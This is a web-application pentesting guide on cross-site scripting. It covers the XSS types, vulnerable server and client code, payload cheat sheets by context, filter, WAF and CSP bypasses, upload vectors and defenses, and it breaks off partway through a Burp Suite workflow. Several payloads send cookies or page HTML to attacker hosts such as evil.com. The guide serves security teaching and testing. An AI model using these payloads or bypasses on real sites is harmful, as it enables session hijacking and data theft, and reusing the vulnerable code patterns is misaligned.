> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/web-application-pentesting/01.-cross-site-scripting.md).

# 01. Cross Site Scripting

<figure><img src="/files/ojbgtp1cMPeujY1krJbY" alt=""><figcaption></figcaption></figure>

***

### Table of Contents

1. The Big Picture — What an Attacker Actually Does
2. What XSS Actually Is
3. Why It Happens — The Root Cause
4. The Three Core Types
5. Reflected XSS
6. Stored (Persistent) XSS
7. DOM-Based XSS
8. Blind XSS
9. Mutation XSS (mXSS)
10. Universal XSS (UXSS)
11. Understanding Injection Contexts
12. Payload Cheat Sheet by Context
13. Filter & WAF Bypass Techniques
14. Content Security Policy (CSP) Bypass
15. Comment-Based & Parser-Confusion Bypasses
16. Alternative Payload Vectors: img, video, audio, svg & Content-Type/Header Bypass
17. Finding & Exploiting XSS with Burp Suite (Practical Walkthrough)
18. Modern & Advanced XSS Techniques
19. DOM Clobbering & Prototype Pollution → XSS
20. Finding XSS — A Practical Methodology
21. Tooling
22. Post-Exploitation — What an Attacker Does Next
23. Defense — Doing It Right
24. Diagrams
25. Practice & Next Steps

***

### 0. The Big Picture

Before any code or payloads, it helps to see the entire attack end-to-end — what an attacker actually does, in order, from the moment they pick a target to the moment they cash out. Every later section of this guide zooms into one box of this diagram.

```mermaid
flowchart TD
    A["1. Recon: map the target app - every input field, URL param, header, upload, API"] --> B["2. Probe: send a unique canary string to each input, see where it reflects"]
    B --> C["3. Identify context: HTML body? Attribute? JS string? URL? CSS?"]
    C --> D["4. Craft payload for that exact context"]
    D --> E{"5. Filter, WAF or CSP in the way?"}
    E -->|Yes| F["Apply bypass technique"]
    F --> D
    E -->|No| G["6. Confirm execution - proof of concept alert"]
    G --> H{"7. Choose delivery method"}
    H -->|Reflected| I["Craft malicious link, send via phishing"]
    H -->|Stored| J["Submit payload into a field everyone views"]
    H -->|DOM-based| K["Craft URL that reaches a client-side sink"]
    I --> L["8. Victim's browser executes attacker JS in trusted origin"]
    J --> L
    K --> L
    L --> M["9. Payload runs with victim's full session privileges"]
    M --> N["10. Impact: steal cookies, hijack session, log keystrokes, phish"]
    N --> O["11. Exfiltrate stolen data to attacker server"]
    O --> P["12. Monetize or escalate further"]
```

**Reading this like a story:** an attacker never starts with a payload, they start with mapping (box 1), then listening for where their input comes back out (box 2-3). Only once they know the exact context do they write a payload (box 4), and only once it actually executes (box 6) do they think about how to get a victim to trigger it (box 7-8). Everything downstream of box 9 is just "now that arbitrary JS runs as the victim, what's valuable to do with that." Keep this shape in mind, the rest of this guide dives into each box.

***

### 1. What XSS Actually Is — The Absolute Basics

Before defining XSS itself, it's worth being precise about a few pieces of plumbing it depends on. If you're already comfortable with how browsers render pages and the same-origin policy, skip to [1.4](https://claude.ai/chat/8862dee2-9a90-44cf-948d-26cc7850b1be#14-so-what-is-xss-precisely).

#### 1.1 How a web page normally gets built

```mermaid
sequenceDiagram
    participant Browser
    participant Server
    Browser->>Server: HTTP GET /page.html
    Server-->>Browser: HTTP response: HTML text
    Browser->>Browser: Parse HTML into the DOM
    Browser->>Browser: Parse and run any script tags against the DOM
    Browser->>Browser: Parse and apply CSS
    Browser->>Browser: Render pixels on screen
```

Two things matter here for later:

* The browser doesn't just "display text" = it **parses** HTML into a tree of objects (the DOM) and then **executes** any JavaScript it finds, with full permission to read and rewrite that tree.
* Anything that ends up looking like a `<script>` tag, an `on*=` event-handler attribute, or a `javascript:` URL = wherever it physically sits in that HTML text — gets treated as **code**, not inert text, unless the browser is told otherwise via proper encoding (Section 2).

#### 1.2 The Same-Origin Policy (SOP) — the wall XSS climbs over

Browsers isolate websites from each other using **origin** = scheme + host + port (e.g. `https://bank.com:443`). Normally, JavaScript loaded from `evil.com` cannot read cookies, DOM content, or `localStorage` belonging to `bank.com` — that's the browser's core security boundary, and it's what keeps you safe visiting multiple sites in different tabs at once.

```mermaid
flowchart LR
    subgraph originE["Origin: evil.com"]
        E["evil.com JavaScript"]
    end
    subgraph originB["Origin: bank.com"]
        B["bank.com cookies, DOM, localStorage"]
    end
    E -.->|Blocked by Same-Origin Policy| B
```

#### 1.3 Where XSS breaks that wall

XSS doesn't defeat the Same-Origin Policy through some browser flaw — it **sidesteps it entirely** by tricking `bank.com` itself into serving the attacker's JavaScript *as if bank.com wrote it*. The browser has no way to know the script "isn't really from" bank.com = it was delivered inside a bank.com HTTP response, so it runs with full bank.com privileges.

```mermaid
flowchart LR
    subgraph originB2["Origin: bank.com"]
        direction TB
        S["bank.com's own trusted code"]
        X["Attacker's injected script - looks identical to the browser"]
        D["bank.com cookies, DOM, localStorage"]
        X -->|Full read/write access, same as trusted code| D
    end
    A["Attacker"] -->|Injects payload into a bank.com response| X
```

This is the single most important idea in this whole guide: **XSS is not a browser bug. It's an application bug that tricks the browser's trust model, which is otherwise working exactly as designed.**

#### 1.4 So, what is XSS, precisely?

Cross-Site Scripting (XSS) is a **client-side code injection** vulnerability. It happens when an application takes untrusted input and places it into a web page's output *without properly neutralizing it*, allowing an attacker to make the victim's browser execute attacker-controlled JavaScript (or HTML/CSS) in the context of the vulnerable site's origin.

The core danger is the **Same-Origin Policy (SOP) violation by design**: the injected script runs as if it were written by the trusted site itself. That means it can:

* Read and exfiltrate `document.cookie` (if not `HttpOnly`)
* Make authenticated requests using the victim's session (`fetch`/`XHR` with cookies)
* Read/modify the DOM (fake login forms, defacement)
* Access `localStorage` / `sessionStorage` / `IndexedDB`
* Pivot into internal apps behind SSO (since it runs "as the user")
* Chain into full account takeover, session hijacking, CSRF-token theft, keylogging, drive-by malware, worm propagation (like the 2005 Samy MySpace worm)

XSS is **not** a server compromise = the server itself isn't hacked. It's a **trust boundary failure in the browser**: the browser trusts everything served from `https://victim.com` equally, whether it was written by the developer or injected by an attacker.

***

### 2. Why It Happens

At the root, XSS exists because HTML, JavaScript, CSS, and URLs each have their own parsing/escaping rules, and **output encoding must match the context the data lands in.** Developers usually get this wrong by:

1. Directly concatenating user input into HTML strings
2. Using `innerHTML`, `document.write()`, `eval()`, or similar sinks with untrusted data
3. Assuming input validation ("no `<script>` allowed") is the same as output encoding (it isn't)
4. Trusting data that's "already been checked" earlier in the pipeline (double-hop trust)
5. Rendering data from third parties (APIs, user profiles, referrer headers, `postMessage`) without re-sanitizing

**Golden rule:** *Encode on output, based on the exact context. Validate on input as a secondary defense, never as the only one.*

#### The same input, two outcomes

```mermaid
flowchart TD
    U["User input: <script>alert(1)</script>"] --> P{"How does the server handle it before output?"}
    P -->|"Encodes it: &lt;script&gt;..."| S1["Browser sees literal text on the page"]
    S1 --> R1["Safe: displayed as harmless text, not executed"]
    P -->|"Concatenates it raw into HTML"| S2["Browser parses it as a real script tag"]
    S2 --> R2["Vulnerable: JavaScript executes"]
```

The exact same string produces two completely different outcomes depending on a single decision: was it encoded for the context it landed in, or not. This one fork is what the entire rest of this guide is built around, finding where that fork went the wrong way, and fixing it.

***

### 3. The Three Core Types

| Type      | Where the payload lives                                   | Persistence             | Requires victim interaction |
| --------- | --------------------------------------------------------- | ----------------------- | --------------------------- |
| Reflected | URL/request, echoed immediately in response               | None (one-shot)         | Yes (click a link)          |
| Stored    | Database/server-side storage, served to every viewer      | Persistent              | No (just visit the page)    |
| DOM-based | Never touches the server; client-side JS mishandles input | Depends on client state | Yes (usually a crafted URL) |

Sub-categories layered on top of these: **Blind XSS** (stored XSS whose result you can't see directly), **Mutation XSS** (browser parser rewrites "safe" HTML into dangerous HTML), and **Universal XSS** (a browser/extension bug, not a site bug).

***

### 4. Reflected XSS

The payload is part of the request (query string, form field, header) and the server reflects it back in the HTML response **unescaped**, in the same request/response cycle.

#### Vulnerable code examples

**PHP**

```php
<?php
// search.php?q=<payload>
echo "You searched for: " . $_GET['q'];
?>
```

**Node.js / Express**

```javascript
app.get('/search', (req, res) => {
  res.send(`<h1>Results for: ${req.query.q}</h1>`); // no encoding
});
```

**Python / Flask**

```python
@app.route('/search')
def search():
    q = request.args.get('q')
    return f"<div>You searched: {q}</div>"   # f-string, no escaping
```

**Java / JSP**

```jsp
<%
  String q = request.getParameter("q");
%>
You searched for: <%= q %>
```

#### Exploit

```
https://victim.com/search?q=<script>alert(document.domain)</script>
```

Since the response echoes `q` verbatim into the HTML body, the browser parses `<script>` as an executable element.

#### Real attack chain

An attacker sends `https://victim.com/search?q=<script src=https://evil.com/x.js></script>` via a phishing email or a shortened link. The victim clicks it while logged into `victim.com`. The response includes the attacker's `<script>` tag, the browser fetches and runs `x.js` in the `victim.com` origin, and that script reads `document.cookie` and POSTs it to `evil.com`.

***

### 5. Stored XSS

The payload is saved server-side (comment, profile bio, product review, support ticket, filename, chat message) and served to **every user** who views that content — no phishing link needed.

#### Vulnerable code examples

**Node.js / Express + MongoDB**

```javascript
app.post('/comment', async (req, res) => {
  await db.collection('comments').insertOne({ text: req.body.comment });
  res.redirect('/post');
});

app.get('/post', async (req, res) => {
  const comments = await db.collection('comments').find().toArray();
  let html = comments.map(c => `<p>${c.text}</p>`).join(''); // unescaped
  res.send(html);
});
```

**PHP + MySQL**

```php
<?php
// Storing
$comment = $_POST['comment'];
$stmt = $pdo->prepare("INSERT INTO comments (text) VALUES (?)");
$stmt->execute([$comment]); // SQLi-safe, but says nothing about XSS

// Rendering
$rows = $pdo->query("SELECT text FROM comments")->fetchAll();
foreach ($rows as $r) {
    echo "<div class='comment'>" . $r['text'] . "</div>"; // XSS here
}
?>
```

Note the classic trap: parameterized queries stop SQL injection but do **nothing** for XSS, that's an output-encoding problem, a completely separate control.

#### Exploit payload (submitted as a comment)

```html
<script>fetch('https://evil.com/steal?c='+document.cookie)</script>
```

Every visitor who loads the comments page now runs this in their browser, silently exfiltrating their session cookie.

#### Why it's more dangerous than reflected

* No social engineering needed — just visiting the page triggers it
* Can hit admins/moderators who review user-submitted content (often the highest-value target)
* Can self-propagate (a worm) if the payload also re-injects itself into other users' data, as in the Samy worm

***

### 6. DOM-Based XSS

The vulnerable code path is entirely **client-side**. The server may never see the malicious string at all, JavaScript running in the browser reads data from a "source" (URL, `document.referrer`, `postMessage`, `localStorage`) and writes it into a dangerous "sink" (`innerHTML`, `eval`, `document.write`) without sanitization.

#### Sources (attacker-controllable input)

```
location.href / location.search / location.hash
document.referrer
window.name
document.cookie
postMessage data
localStorage / sessionStorage
```

#### Sinks (dangerous execution points)

```
innerHTML / outerHTML
document.write() / document.writeln()
eval()
setTimeout("string") / setInterval("string")
Function() constructor
element.setAttribute('onclick', ...)
location = / location.href =
jQuery: $(userInput), .html(), .append()
```

#### Vulnerable code example

```javascript
// Common pattern: "welcome back" banner using the hash
// https://victim.com/page#name=<img src=x onerror=alert(1)>
const params = new URLSearchParams(location.hash.slice(1));
document.getElementById('welcome').innerHTML = 'Hello ' + params.get('name');
```

The server never sees `location.hash,` it's not sent in the HTTP request at all. This makes DOM XSS invisible to server logs and WAFs that only inspect request bodies/URLs (though the fragment can still be enumerated via client-side URL sharing).

Another classic:

```javascript
// jQuery
$(function() {
  var tab = new URLSearchParams(location.search).get('tab');
  $('#content').html(tab); // sink
});
```

#### Exploit

```
https://victim.com/page.html#name=<img src=x onerror="fetch('https://evil.com/'+document.cookie)">
```

***

### 7. Blind XSS

A variant of stored XSS where the payload fires in a context the attacker **cannot see,** an admin dashboard, a support-ticket back office, a log viewer, an email client rendering HTML. You inject the payload somewhere (a "Name" field, a support form, a User-Agent header) and wait.

#### Typical payload (uses an out-of-band callback, e.g. via Burp Collaborator or a self-hosted listener)

```html
<script src="https://your-blindxss-listener.com/x.js"></script>
```

`x.js` (hosted by the tester/attacker) typically exfiltrates:

```javascript
new Image().src = 'https://your-listener.com/hit?' +
  'url=' + encodeURIComponent(location.href) +
  '&cookie=' + encodeURIComponent(document.cookie) +
  '&html=' + encodeURIComponent(document.documentElement.outerHTML.slice(0,2000));
```

#### Where to plant it

Contact forms, "report abuse" fields, feedback widgets, HTTP headers (`User-Agent`, `X-Forwarded-For`, `Referer`) that get logged and later rendered in an internal admin log viewer, filenames in uploads, order notes in e-commerce admin panels.

Tools like **XSS Hunter** / **truffleHog-style listeners** / **Burp Collaborator** automate the "wait and get notified" part.

***

### 8. Mutation XSS (mXSS)

mXSS exploits the fact that browsers **re-parse and normalize HTML,** sanitizers see one thing, but the browser's actual rendering (after DOM round-tripping through `innerHTML`) produces something different and dangerous. A payload that looks 100% safe/sanitized can "mutate" into an executable one once the browser's HTML parser processes it.

#### Classic example (used against several sanitizer libraries historically)

```html
<listing>&lt;img src=1 onerror=alert(1)&gt;</listing>
```

or the well-known DOMPurify-era style bypass:

```html
<svg><p><style><img src=1 onerror=alert(1)></style>
```

The sanitizer inspects the tree *before* mutation; the browser's parser then re-interprets nested/malformed markup differently once it's serialized back through `innerHTML`, producing a live `onerror` handler that wasn't "there" from the sanitizer's point of view.

**Takeaway:** sanitization libraries must be kept up to date (DOMPurify, sanitize-html, etc.), mXSS bugs are found and patched continuously; don't hand-roll your own HTML sanitizer.

***

### 9. Universal XSS (UXSS)

A bug in the **browser or a browser extension itself** that lets a script break the Same-Origin Policy and inject into *any* site, not just a vulnerable one. This is a browser vendor's problem, not a web developer's, but it's worth knowing it exists — extensions with broad `content_scripts` permissions are a common UXSS vector, and pentesters sometimes test browser extensions for this class of bug.

***

### 10. Injection Contexts

**This is the single most important concept for finding and exploiting XSS.** The correct payload, and the correct defense, depends entirely on *where* your input lands in the response.

#### One page, many contexts at once

A single real-world HTML response usually contains several of these contexts simultaneously, the same reflected parameter might even appear in more than one place with different rules applying to each:

```mermaid
flowchart TD
    Resp["Single HTTP response body"] --> C1["HTML body: &lt;h1&gt;Results for USER_INPUT&lt;/h1&gt;"]
    Resp --> C2["HTML attribute: &lt;input value='USER_INPUT'&gt;"]
    Resp --> C3["JS string: &lt;script&gt;var q='USER_INPUT'&lt;/script&gt;"]
    Resp --> C4["URL: &lt;a href='USER_INPUT'&gt;"]
    Resp --> C5["CSS: &lt;style&gt;body{color:USER_INPUT}&lt;/style&gt;"]
    C1 --> N1["Needs HTML-entity encoding"]
    C2 --> N2["Needs HTML-entity encoding + forced quoting"]
    C3 --> N3["Needs JS-string escaping, never HTML encoding alone"]
    C4 --> N4["Needs URL encoding + scheme allowlist"]
    C5 --> N5["Needs CSS escaping + strict value allowlist"]
```

The mistake most vulnerable apps make is applying **one blanket encoding function everywhere** (or none at all) instead of picking the right one per box above. An app can correctly encode context C1 and still be fully exploitable through context C3 on the very same page.

```
1. HTML body context
   <div> USER_INPUT </div>

2. HTML attribute context (double-quoted, single-quoted, unquoted)
   <input value="USER_INPUT">
   <input value='USER_INPUT'>
   <input value=USER_INPUT>

3. JavaScript string context
   <script>var x = "USER_INPUT";</script>

4. JavaScript context, no quotes (template literal / raw)
   <script>var x = USER_INPUT;</script>

5. URL context
   <a href="USER_INPUT">click</a>

6. CSS context
   <style>body { background: USER_INPUT }</style>

7. HTML comment context
   <!-- USER_INPUT -->

8. Tag name / attribute name context (rare but exists)
   <USER_INPUT href="x">
```

Each context has different "breakout" characters you need, and different characters that are dangerous vs. safe.

***

### 11. Payload Cheat Sheet by Context

#### 11.1 HTML Body Context

```html
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)"></iframe>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>
<marquee onstart=alert(1)>
```

#### 11.2 HTML Attribute Context

If you land inside `value="USER_INPUT"`:

```html
"><script>alert(1)</script>
" autofocus onfocus=alert(1) x="
" onmouseover=alert(1) x="
```

If unquoted `value=USER_INPUT`:

```html
x onmouseover=alert(1)//
```

If single-quoted:

```html
'><img src=x onerror=alert(1)>
```

#### 11.3 JavaScript String Context

```html
<script>var x = "USER_INPUT";</script>
```

Payload:

```javascript
";alert(1);//
";alert(1)}//
</script><script>alert(1)</script>
```

The last one works because the browser's HTML parser tokenizes `</script>` before the JS engine even runs, it closes the tag regardless of JS syntax validity.

#### 11.4 URL / href / src Context

```html
<a href="USER_INPUT">
```

Payload:

```
javascript:alert(document.cookie)
data:text/html,<script>alert(1)</script>
```

Note: modern browsers block `javascript:` in some contexts (e.g., `<img src>`) but it still works for `<a href>`, `<iframe src>`, form `action`, etc.

#### 11.5 CSS Context

```html
<style>body{background:USER_INPUT}</style>
```

```css
red;}</style><script>alert(1)</script>
expression(alert(1)) /* old IE only, legacy */
```

Modern browsers largely killed CSS-based JS execution, but `@import url(evil.css)` and `background:url(javascript:...)` historically mattered, and CSS injection is still a live data-exfiltration channel via attribute selectors (`input[value^="a"] { background: url(evil.com/log?a) }`) even without full script execution.

#### 11.6 Event Handler / Filter-Evasion Favorites

```html
<img src=x oNeRrOr=alert(1)>              <!-- case-insensitivity -->
<img src=x onerror=alert`1`>              <!-- template literal call, no parens -->
<svg/onload=alert(1)>                     <!-- self-closing, no space needed -->
<a href="jav&#x61;script:alert(1)">click</a>  <!-- HTML entity in scheme -->
<img src=1 href=1 onerror="javascript:alert(1)">
```

#### 11.7 Polyglot Payload (fires across many contexts at once — great for quick testing)

```
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
```

***

### 12. Filter & WAF Bypass Techniques

Real-world apps rarely have *zero* filtering. Here's how bypasses work, categorized by defense being evaded:

#### 12.1 Blacklist keyword filters (blocking "script", "alert", "onerror")

```html
<ScRiPt>alert(1)</ScRiPt>                     <!-- case variation -->
<img src=x onerror=alert(1) onerror=alert(1)> <!-- duplicate attr confuses naive strip -->
<svg><script>alert&#40;1&#41;</script>        <!-- HTML entity encode the parens -->
<img src=x oNerror=top["al"+"ert"](1)>        <!-- string concatenation to dodge "alert" -->
<img src=x onerror=window['al\x65rt'](1)>     <!-- hex escape inside string -->
```

#### 12.2 Tag-stripping filters that run once (not recursively)

```html
<scr<script>ipt>alert(1)</scr</script>ipt>
```

If the filter removes `<script>` once and doesn't re-scan, the nested tag reassembles into `<script>alert(1)</script>` after stripping.

#### 12.3 Angle-bracket / quote encoding bypass (context confusion)

If a filter HTML-encodes `<` and `>` but the injection point is inside an existing `<script>` block or an attribute, you don't need angle brackets at all:

```html
<script>var x="INPUT"</script>
```

Payload: `";alert(1);//` — no `<` or `>` needed.

#### 12.4 Length-limited inputs

```html
<svg/onload=alert()>
```

(19 chars — useful when input fields truncate at e.g. 20-30 characters)

#### 12.5 Null bytes / encoding tricks against legacy filters

```
<img src=x onerror=alert(1)%00>
<img src=x onerror=&#97;lert(1)>   <!-- decimal entity -->
<img src=x onerror=&#x61;lert(1)>  <!-- hex entity -->
```

#### 12.6 Bypassing regex-based sanitizers with alternate execution vectors

If `on\w+=` is blocked via regex but `<script>` tags are allowed:

```html
<script>fetch('//evil.com/'+document.cookie)</script>
```

If `<script>` is blocked but event handlers aren't:

```html
<body onload=alert(1)>
```

If both are blocked, pivot to CSS exfiltration or `<meta http-equiv="refresh" content="0;url=javascript:alert(1)">` (context dependent), or SVG-based vectors like `<svg><animate onbegin=alert(1) attributeName=x dur=1s>`.

#### 12.7 WAF-specific evasion (general principles, not a specific product's bypass list)

* WAFs pattern-match known payload signatures; **novel tag/attribute combos** and **unusual encodings** (UTF-7 in old IE, overlong UTF-8) often slip through
* Splitting the payload across multiple parameters that get concatenated server-side
* Using less common but fully valid HTML5 tags/attributes (`<math><mtext></mtext></math>`, `<xmp>`, `<template>`) that signature lists haven't caught up with

***

### 13. Content Security Policy (CSP) Bypass

CSP is meant to be the strongest server-side mitigation against XSS impact. But misconfigured CSP is common:

#### 13.1 `unsafe-inline` present

```
Content-Security-Policy: script-src 'self' 'unsafe-inline'
```

This defeats the point entirely,  inline `<script>` payloads work exactly as if there were no CSP.

#### 13.2 Whitelisted JSONP / open-redirect endpoints on an allowed domain

```
Content-Security-Policy: script-src 'self' https://cdn.trusted.com
```

If `cdn.trusted.com` hosts a JSONP endpoint (`/api?callback=`), an attacker can do:

```html
<script src="https://cdn.trusted.com/api?callback=alert;//"></script>
```

This is allowed by CSP (same host) but executes attacker logic via the callback parameter.

#### 13.3 `script-src` with wildcards

```
Content-Security-Policy: script-src *.googleapis.com
```

Broad wildcarding on CDN domains that also allow user-hosted content (Google Drive-hosted JS, Firebase-hosted user content, etc.) can be abused.

#### 13.4 Missing `object-src` / `base-uri`

Without `base-uri 'self'`, an attacker can inject `<base href="https://evil.com/">`, which rewrites all relative script `src` paths on the page to load from the attacker's domain instead,  even if `script-src 'self'` is set, because the browser now resolves "self-hosted-looking" relative paths against the attacker's base.

#### 13.5 Nonce/hash reuse or leakage

If a per-response nonce (`script-src 'nonce-abc123'`) is reflected anywhere else in the page (e.g., in an error message, in the DOM as a data attribute an attacker-controlled script can read before the real payload needs it), an attacker can reuse it. Nonces must be unpredictable **and never exposed** outside the intended `<script nonce="...">` tags.

#### 13.6 Strict CSP defense-in-depth (what "good" looks like)

```
Content-Security-Policy:
  default-src 'none';
  script-src 'nonce-<random-per-response>' 'strict-dynamic';
  object-src 'none';
  base-uri 'none';
  require-trusted-types-for 'script';
```

***

### 14. Comment-Based & Parser-Confusion Bypasses

Comments exist in HTML, JavaScript, CSS, and SQL for humans to leave notes, but every parser treats its own comment syntax as a hard boundary, and attackers abuse the *mismatch* between where a filter looks and where a parser actually stops reading.

#### 14.1 HTML comments to split a blocked keyword

If a filter does a simple substring match for `<script` and rejects the whole request, but doesn't re-parse after removal, an HTML comment can be used to break the input into pieces the filter never sees as one unit *in the source*, while the browser still glues them together in effect at render/behavior level. More reliably, comments are used to **neutralize surrounding tags** so an injected tag stands alone as expected:

```html
<!--><img src=x onerror=alert(1)>-->
```

If the input lands inside an existing HTML comment (`<!-- USER_INPUT -->`), the payload above closes the comment early with `-->` right after `<!--`, so everything up to the developer's real closing `-->` is now live markup, and the trailing `-->` you supplied is just ignored as stray text.

#### 14.2 Breaking out of `<!-- -->` when angle brackets are stripped from the closer only

```html
--><script>alert(1)</script><!--
```

Useful when input is dropped verbatim inside a template's comment block, e.g. `<!-- Last search: USER_INPUT -->`.

#### 14.3 Conditional comments (legacy IE, still seen in old code audits)

```html
<!--[if IE]><script>alert(1)</script><![endif]-->
```

Modern browsers ignore these as plain comments (harmless today), but they're worth recognizing in old codebases and CTF challenges emulating legacy targets.

#### 14.4 JavaScript comments to swallow the rest of a line/filter check

When you can inject into a JS string and only need to neutralize trailing code the developer appends after your input:

```javascript
var x = "USER_INPUT";
```

Payload:

```javascript
";alert(1);//
```

The `//` turns everything after your payload on that line into a comment, so any trailing `";` the developer wrote never causes a syntax error that would otherwise break your injected script.

Block-comment variant when trailing code is on a new line and single-line comments won't reach it:

```javascript
"; alert(1); /*
*/
```

#### 14.5 Using comments to defeat "must not contain two keywords together" filters

Some naive filters block the literal substring `onerror=alert` but allow the pieces separately. A CSS/HTML comment injected mid-attribute name won't work (attribute names can't contain comments), but for JS payloads you can break up a blocked function-call pattern using comments *inside code*, not inside the identifier:

```javascript
al/**/ert(1)   // invalid — comments cannot split identifiers in real JS
window['al'+'ert'](1)   // this is the actual working technique — string concat, not comments
```

(This is a common misconception worth calling out explicitly: JS comments can swallow trailing statements, but they **cannot** be embedded inside a single token like a function name, use string concatenation, bracket notation, or encoding for that instead, as shown in Section 12.)

#### 14.6 SQL-comment-style tricks that matter for stored XSS pipelines

When a stored XSS payload also needs to survive a backend that does light SQL-adjacent string processing (rare, but seen in poorly built CMS import/export features), `--` or `/* */` SQL comment syntax can be combined with an HTML payload to prevent a later "sanitize the last processed field" step from re-touching your injected markup. This is a narrow edge case but worth knowing it exists.

#### 14.7 Parser-confusion beyond comments: null bytes, mixed encodings, malformed tags

Comments are one flavor of a broader class: **exploiting the gap between how the filter parses input and how the browser's actual HTML5 parser parses it.**

```html
<img src="x`<script>alert(1)</script>"`
<img src=x id=`onerror=alert(1)`
<script>al\u0065rt(1)</script>          <!-- unicode escape inside JS, filter may only check for literal "alert" -->
<a href="javascr\tipt:alert(1)">click</a>   <!-- literal tab character inside the scheme, still parsed as javascript: by some browsers -->
```

The HTML5 spec defines very forgiving, "best effort" recovery behavior for malformed markup specifically so broken pages still render — that same leniency is exactly what a rigid regex-based filter usually fails to replicate, which is the whole reason this bypass category exists.

***

### 15. Alternative Payload Vectors: img, video, audio, svg & Content-Type/Header Bypass

`<script>` is the payload everyone blocks first. Real-world exploitation almost always ends up using a **non-script tag** instead, both because filters over-focus on `<script>` and because many delivery paths (uploaded files, `Content-Type` headers) only care about the file's declared type, not what the browser actually does with it once rendered.

#### 15.1 Image-based vectors

```html
<img src=x onerror=alert(1)>
<img src="javascript:alert(1)">          <!-- blocked in modern browsers, kept for legacy awareness -->
<img """><script>alert(1)</script>">     <!-- malformed attribute confuses naive attribute parsers -->
<img src=x:alert(1) onerror=eval(src)>   <!-- smuggles the payload inside the src value itself -->
```

`onerror` fires reliably because `x` is never a valid image URL, guaranteeing the error event — this is why `<img src=x onerror=...>` is the single most common XSS PoC in the wild.

#### 15.2 Video / audio-based vectors

```html
<video><source onerror=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<video><track default kind=captions srclang=x onerror=alert(1)>
```

These matter specifically because upload features that accept media files (avatars, voice notes, video comments) often only validate the `Content-Type` header or file extension, not the actual bytes, leaving an opening described next.

#### 15.3 SVG-based vectors (extremely powerful, frequently under-filtered)

```html
<svg onload=alert(1)>
<svg><script>alert(1)</script></svg>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<svg><set attributeName=innerHTML to=&lt;img/src=x onerror=alert(1)&gt;>
```

SVG is XML, and XML allows embedded `<script>` natively — combined with the fact that SVG is routinely allowed anywhere "images" are allowed (avatar uploads, inline icons, `<img>` alt content), this makes it one of the highest-value vectors in real bug bounty reports.

#### 15.4 Other tag vectors worth knowing

```html
<iframe src="javascript:alert(1)"></iframe>
<object data="javascript:alert(1)"></object>
<embed src="javascript:alert(1)">
<meta http-equiv="refresh" content="0;url=javascript:alert(1)">
<base href="javascript:alert(1)//">
<form action="javascript:alert(1)"><input type=submit>
<math href="javascript:alert(1)"><mtext>click</mtext></math>
<link rel=preload href=x as=script onerror=alert(1)>
```

#### 15.5 Content-Type / MIME-sniffing bypass — the upload angle

Many apps validate uploads by checking either:

1. The `Content-Type` header the browser sent during upload (trivially spoofable in Burp Repeater), or
2. The file extension (`.jpg`, `.png`) without checking real file bytes

Neither actually controls what happens when the file is **later served back and rendered**.

```mermaid
flowchart TD
    A["Attacker crafts file: SVG or HTML bytes"] --> B["Renames to avatar.jpg / sets Content-Type: image/jpeg in upload request"]
    B --> C{"Server validation logic"}
    C -->|"Checks header/extension only"| D["Upload accepted, stored as-is"]
    C -->|"Actually decodes/re-encodes the image"| E["Payload destroyed - safe"]
    D --> F["Victim later requests the 'image' URL"]
    F --> G{"How is it served?"}
    G -->|"Served inline, same origin, no nosniff header"| H["Browser renders/sniffs it as SVG or HTML"]
    G -->|"Served from cookieless subdomain + nosniff + attachment"| I["Downloads as file or renders with zero session privileges - safe"]
    H --> J["Embedded script executes with full victim session"]
```

Two classic exploitation paths:

**SVG uploaded as an "image"**

```html
<!-- malicious-avatar.svg -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
```

If the app accepts SVG under an images allowlist and serves it back with `Content-Type: image/svg+xml` (or the browser sniffs it as SVG regardless of a wrong header) and — critically — serves it **from the same origin** rather than a sandboxed CDN/subdomain, opening the "image" directly executes the script.

**HTML disguised as a harmless extension, served without `X-Content-Type-Options: nosniff`**

```html
<!-- resume.jpg (actually HTML bytes) -->
<script>alert(document.cookie)</script>
```

Without the `nosniff` header, some browsers/contexts perform **MIME sniffing** — inspecting the actual bytes rather than trusting the declared `Content-Type` — and if the sniffed content looks like HTML, certain older or misconfigured serving paths render it as HTML instead of downloading it as an image. This is exactly why `X-Content-Type-Options: nosniff` exists as a required header on any endpoint serving user-uploaded content.

**Defense checklist for this specific class**

```
✔ Serve all user-uploaded content from a separate, cookie-less origin (e.g. usercontent.example.com, not example.com)
✔ Always send: X-Content-Type-Options: nosniff
✔ Always send: Content-Disposition: attachment for anything not meant to be inline-rendered
✔ Re-encode/strip images server-side (transcoding to a fresh raster image kills embedded SVG/script payloads)
✔ Explicitly reject SVG uploads in any "avatar/image" field unless SVG support is truly required and then sanitize with a dedicated SVG sanitizer
```

#### 15.6 HTTP response header injection → reflected content-type confusion

If an app reflects user input into a response header (rare but real, e.g. a custom `Content-Disposition: filename=USER_INPUT`), CRLF injection can let an attacker inject entirely new headers or even switch the effective `Content-Type`, turning an otherwise-safe download into an inline-rendered, script-executing response:

```
filename=x%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>
```

Modern frameworks mostly strip CR/LF from header values automatically, but this remains a real finding in custom/legacy header-writing code.

***

### 16. Finding & Exploiting XSS with Burp Suite (Practical Walkthrough)

This section is a hands-on workflow, not just tool descriptions — the actual click-by-click process used in real testing.

```mermaid
flowchart TD
    A["Configure browser to proxy through Burp (127.0.0.1:8080)"] --> B["Browse the target normally through Burp's embedded browser"]
    B --> C["Proxy > HTTP history: review every request Burp captured"]
    C --> D["Send interesting requests to Repeater (Ctrl+R)"]
    D --> E["In Repeater: replace each parameter with a unique canary, resend"]
    E --> F["Inspect raw response: search for the canary, note encoding/context"]
    F --> G["Craft context-correct payload directly in Repeater, resend, confirm"]
    G --> H["Send the same request to Intruder for bulk parameter fuzzing"]
    H --> I["Load a payload list (e.g. PortSwigger's XSS cheat sheet payloads) as the Intruder payload set"]
    I --> J["Run attack, sort results by response length/status to spot anomalies"]
